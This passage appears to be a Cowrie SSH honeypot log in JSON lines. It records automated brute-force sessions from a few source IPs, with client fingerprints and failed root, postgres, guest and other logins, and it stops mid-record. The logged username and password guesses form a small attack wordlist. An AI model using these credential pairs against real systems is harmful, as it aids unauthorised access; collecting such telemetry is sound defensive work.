{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:20.312588Z","src_ip":"45.153.34.114","session":"632f02a4fa19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:20.391908Z","src_ip":"45.153.34.114","session":"632f02a4fa19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:20.737518Z","src_ip":"45.153.34.114","session":"632f02a4fa19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37678,"dst_ip":"10.17.0.5","dst_port":22,"session":"68fe0aa74990","protocol":"ssh","message":"New connection: 80.94.92.182:37678 (10.17.0.5:22) [session: 68fe0aa74990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:21.698455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:21.735536Z","src_ip":"80.94.92.182","session":"68fe0aa74990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:21.823023Z","src_ip":"45.153.34.114","session":"632f02a4fa19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:21.844851Z","src_ip":"80.94.92.182","session":"68fe0aa74990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwer1234","message":"login attempt [sol/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:22.653645Z","src_ip":"80.94.92.182","session":"68fe0aa74990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:23.887678Z","src_ip":"80.94.92.182","session":"68fe0aa74990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52250,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a59b3178c6c","protocol":"ssh","message":"New connection: 103.75.199.4:52250 (159.203.135.109:22) [session: 8a59b3178c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:27.772058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:27.776875Z","src_ip":"103.75.199.4","session":"8a59b3178c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:27.867863Z","src_ip":"103.75.199.4","session":"8a59b3178c6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:28.140476Z","src_ip":"103.75.199.4","session":"8a59b3178c6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43036,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2d9f7f21a62","protocol":"ssh","message":"New connection: 45.153.34.114:43036 (159.203.135.109:22) [session: d2d9f7f21a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:28.456921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:28.491193Z","src_ip":"45.153.34.114","session":"d2d9f7f21a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:28.546829Z","src_ip":"45.153.34.114","session":"d2d9f7f21a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:29.025918Z","src_ip":"45.153.34.114","session":"d2d9f7f21a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:29.233938Z","src_ip":"103.75.199.4","session":"8a59b3178c6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:30.114133Z","src_ip":"45.153.34.114","session":"d2d9f7f21a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34048,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cf939309c21","protocol":"ssh","message":"New connection: 45.153.34.114:34048 (159.203.135.109:22) [session: 6cf939309c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:36.951907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:37.016001Z","src_ip":"45.153.34.114","session":"6cf939309c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:37.074536Z","src_ip":"45.153.34.114","session":"6cf939309c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:37.364988Z","src_ip":"45.153.34.114","session":"6cf939309c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:38.455159Z","src_ip":"45.153.34.114","session":"6cf939309c21","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47188,"dst_ip":"159.203.135.109","dst_port":22,"session":"4847aa43eef8","protocol":"ssh","message":"New connection: 45.153.34.114:47188 (159.203.135.109:22) [session: 4847aa43eef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:44.496503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:44.500920Z","src_ip":"45.153.34.114","session":"4847aa43eef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:44.595621Z","src_ip":"45.153.34.114","session":"4847aa43eef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:44.856843Z","src_ip":"45.153.34.114","session":"4847aa43eef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:45.955624Z","src_ip":"45.153.34.114","session":"4847aa43eef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46154,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f141d1bab0","protocol":"ssh","message":"New connection: 103.75.199.4:46154 (159.203.135.109:22) [session: a7f141d1bab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:49.690723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:49.696378Z","src_ip":"103.75.199.4","session":"a7f141d1bab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:49.787037Z","src_ip":"103.75.199.4","session":"a7f141d1bab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:50.059282Z","src_ip":"103.75.199.4","session":"a7f141d1bab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:51.152484Z","src_ip":"103.75.199.4","session":"a7f141d1bab0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51484,"dst_ip":"159.203.135.109","dst_port":22,"session":"40e204178a32","protocol":"ssh","message":"New connection: 45.153.34.114:51484 (159.203.135.109:22) [session: 40e204178a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:51.889098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:51.896954Z","src_ip":"45.153.34.114","session":"40e204178a32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:51.992002Z","src_ip":"45.153.34.114","session":"40e204178a32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:52.251460Z","src_ip":"45.153.34.114","session":"40e204178a32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:53.340338Z","src_ip":"45.153.34.114","session":"40e204178a32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57902,"dst_ip":"159.203.135.109","dst_port":22,"session":"f324f3bdaab8","protocol":"ssh","message":"New connection: 45.153.34.114:57902 (159.203.135.109:22) [session: f324f3bdaab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:59.509552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:59:59.514676Z","src_ip":"45.153.34.114","session":"f324f3bdaab8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-